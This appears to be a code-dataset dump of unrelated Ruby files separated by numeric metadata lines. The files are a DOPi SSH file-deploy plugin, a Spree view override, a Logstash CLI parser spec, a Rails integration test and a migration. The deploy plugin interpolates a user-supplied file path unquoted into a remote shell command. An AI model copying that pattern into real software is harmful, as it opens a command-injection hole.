# # DOPi Plugin: Deploy File # require 'pathname' require "base64" module Dopi class Command class Ssh class FileDeploy < Dopi::Command include DopCommon::HashParser include Dopi::Connector::Ssh include Dopi::CommandParser::ExitCode public def validate validate_ssh validate_exit_code log_validation_method('file_valid?', CommandParsingError) log_validation_method('content_valid?', CommandParsingError) end def run cmd_stdout, cmd_stderr, cmd_exit_code = ssh_command({}, command_string) check_exit_code(cmd_exit_code) end def run_noop log(:info, "(NOOP) Executing '#{command_string}' for command #{name}") end def file file_valid? ? hash[:file] : nil end def content content_valid? ? load_content(hash[:content]) : nil end private def command_string "echo -n #{Base64.strict_encode64(content)} | base64 -d > #{file}" end def file_valid? hash[:file] or raise CommandParsingError, "Plugin #{name}: The key 'file' needs to be specified" hash[:file].kind_of?(String) or raise CommandParsingError, "Plugin #{name}: The value for key 'file' has to be a String" begin Pathname.new(hash[:file]).absolute? or raise CommandParsingError, "Plugin #{name}: The path for 'file' has to be absolute" rescue ArgumentError => e raise CommandParsingError, "Plugin #{name}: The value in 'file' is not a valid file path: #{e.message}" end end def content_valid? hash[:content] or raise CommandParsingError, "Plugin #{name}: The key 'content' needs to be specified" load_content_valid?(hash[:content]) rescue DopCommon::PlanParsingError => e raise CommandParsingError, "Plugin #{name}: value content not valid: #{e.message}" end end end end end
28.972222
115
0.600671
62e88585160c1b4d4f210b40324f5bf737b4b9a8
277
Deface::Override.new( :virtual_path => "spree/admin/return_authorizations/index", :name => "add_tracking_label_to_return_authorization", :insert_top => "[class='actions actions-2']", :partial => "spree/admin/return_authorizations/customer_return_tracking" )
34.625
76
0.732852
ed670d8d0c537b0b6852dfc9002e76d18aef0f89
5,334
# Licensed to Elasticsearch B.V. under one or more contributor # license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright # ownership. Elasticsearch B.V. licenses this file to you under # the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. require "spec_helper" require "logstash/modules/cli_parser" describe LogStash::Modules::CLIParser do subject { LogStash::Modules::CLIParser.new(module_names, module_variables) } let(:logger) { double("logger") } let(:module_name) { "foo" } let(:module_names) { [ module_name, "bar" ] } let(:proto_key_value) { "var.input.stdin.type=example" } let(:proto_mod_vars) { module_name + "." + proto_key_value } let(:module_variables) { [ proto_mod_vars ] } let(:expected_output) { { "name" => module_name, "var.input.stdin.type" => "example" } } describe ".parse_modules" do let(:module1) { "module1" } let(:module2) { "module2" } let(:csv_modules) { "#{module1},#{module2}" } let(:list_with_csv) { [ module_name, csv_modules ] } let(:post_parse) { [ module_name, module1, module2 ] } context "when it receives an array without a csv entry" do it "return the array unaltered" do expect(subject.parse_modules(module_names)).to eq(module_names) end end context "when it receives an empty array" do it "return an empty array" do expect(subject.parse_modules([])).to eq([]) end end context "when it receives an array with a csv entry" do it "return the original array with the csv values split into elements" do expect(subject.parse_modules(list_with_csv)).to eq(post_parse) end end context "when it receives an array with a bad csv entry" do let(:bad_modules) { [ "-Minvalid", module1 ] } it "raise a LogStash::ConfigLoadingError exception" do expect { subject.parse_modules(bad_modules) }.to raise_error LogStash::ConfigLoadingError end end context "when it receives a nil value in an array" do let(:array_with_nil) { list_with_csv << nil } it "skip it" do expect(subject.parse_modules(array_with_nil)).to eq(post_parse) end end end describe ".get_kv" do context "when it receives a valid string" do let(:expected_key) { "var.input.stdin.type" } let(:expected_value) { "example" } let(:unparsed) { expected_key + "=" + expected_value } it "split it into a key value pair" do expect(subject.get_kv(module_name,unparsed)).to eq([expected_key,expected_value]) end end context "when it receives an invalid string" do let(:bad_example) { "var.fail" } it "raise a LogStash::ConfigLoadingError exception" do expect { subject.get_kv(module_name,bad_example) }.to raise_error LogStash::ConfigLoadingError end end end describe ".name_splitter" do context "when it receives a valid string" do let(:expected) { "var.input.stdin.type=example" } it "split the module name from the rest of the string" do expect(subject.name_splitter(proto_mod_vars)).to eq([module_name,expected]) end end context "when it receives an invalid string" do let(:bad_example) { "var.fail" } it "raise a LogStash::ConfigLoadingError exception" do expect { subject.name_splitter(bad_example) }.to raise_error LogStash::ConfigLoadingError end end end describe ".parse_vars" do context "when it receives a vars_list with valid strings" do it "return a hash with the module name and associated variables as key value pairs" do expect(subject.parse_vars(module_name, module_variables)).to eq(expected_output) end end context "when it receives a string that doesn't start with module_name" do let(:has_unrelated) { module_variables << "bar.var.input.stdin.type=different" } it "skips it" do expect(subject.parse_vars(module_name, has_unrelated)).to eq(expected_output) end end context "when it receives an empty vars_list" do let(:name_only) { { "name" => module_name } } it "return a hash with only 'name => module_name'" do expect(subject.parse_vars(module_name, [])).to eq(name_only) end end end describe ".parse_it" do context "when it receives a valid module_list and module_variable_list" do let(:module_names) { [ module_name ]} it "@output is array of hashes with the module name and associated variables as key value pairs" do expect(subject.output).to eq([expected_output]) end end context "when it receives a non-array value for module_list" do let(:module_names) { "string value" } it "return an empty array" do expect(subject.output).to eq([]) end end end end
36.786207
105
0.686352
3928c5124a415a2d1d0ce75d7fbe814c0659c999
596
require 'test_helper' class UsersProfileTest < ActionDispatch::IntegrationTest include ApplicationHelper def setup @user = users(:chidozie) end test "profile display" do get user_path(@user) assert_template 'users/show' assert_select 'title', full_title(@user.name) assert_select 'h1', text: @user.name assert_select 'h1>img.gravatar' assert_match @user.microposts.count.to_s, response.body # assert_select 'div.pagination' @user.microposts.paginate(page: 1).each do |micropost| assert_match micropost.content, response.body end end end
25.913043
59
0.72651
bb45485a5a14761ce89ce5cb30025875f7d7a8d0
193
class AddPublishedIdToPagina < ActiveRecord::Migration def self.up add_column :paginas, :published_id, :integer end def self.down remove_column :paginas, :published_id end end
19.3
54
0.751295